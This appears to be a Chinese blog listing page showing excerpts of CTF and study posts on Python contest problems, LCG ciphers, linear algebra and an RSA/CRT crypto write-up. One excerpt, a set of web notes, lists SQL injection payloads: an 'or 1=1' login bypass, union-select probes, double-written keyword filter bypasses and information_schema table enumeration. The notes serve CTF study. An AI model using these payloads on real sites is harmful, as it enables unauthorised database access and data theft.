- 博客(8)
- 收藏
- 关注
原创 蓝桥杯笔记(Python程序设计)
这道题对于其他人来说,可能还稍微麻烦了,但是对于python说,几乎秒杀,只需要用python的bin函数,就可以迅速将十进制转成二进制,然后再减去首字母的两个0b即可。本题的结果为一个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。本题的结果为一个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。十进制整数 22 在十进制中是 2 位数,在二进制中对应 10110 ,是 5 位数。十进制整数 2 在十进制中是 1 位数,在二进制中对应 10 ,是 2 位数。
2023-11-29 10:04:54 452 1
原创 Web杂记
1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#(查库信息)1 %27 ununionion seselectlect 1, database(),3%23 (查库名)1 ' ununionion seselectlect 1,2,3 #(双写)1' union select 1 #(联合查询)1' or 1=1 #(万能密码)
2023-11-22 10:35:55 33
转载 LCG(流密码)
下面是公式证明:其实公式证明挺复杂的可以最后看,先看看例题也不错哦公式1:模逆运算用到扩展欧几里得算法MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n
2023-11-21 22:06:09 229
转载 线性代数的本质
向量加法和向量数乘线性代数给物理学家和计算机图形程序员提供了一种语言,让它们通过计算机能够通过数字来描述和操控几何。向量空间的一组基是张成该空间的一个线性无关向量集总之,线性变换是操作空间的一种手段,它保持网格线平行等距分布,并且保持原点不动。严格意义上来讲,线性变换是将向量作为输入和输出的一类函数这些变换只需要变换后的基向量便可以描述清楚,以这些坐标位列所构成的矩阵为我们提供了一种描述线性变换的语言而矩阵向量的乘法就是计算线性变换作用于给定向量的一种途径。
2023-11-21 21:03:31 94
原创 招新赛WP(crypto)
由q = next_prime(getPrime(16) * p + 38219)可知,q为p*getPrime(16)+38219的下一个素数,因此getPrime(16)较小,所以我们可以在其取值范围为遍历出符合题目的值,从而解出q。ak,prod为M,p为Mi,inverse(p,m_i)为Mi的逆元。可以用工具,但我建议锻炼一下写代码的能力。先异或运算,既然c=m^s,那么m=c^s,转一下字符串,得到一半的flag,也就是key。题中的斐波那契数列运行不出来,根据我给的hint,降低复杂度。
2023-10-31 19:44:31 190 1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人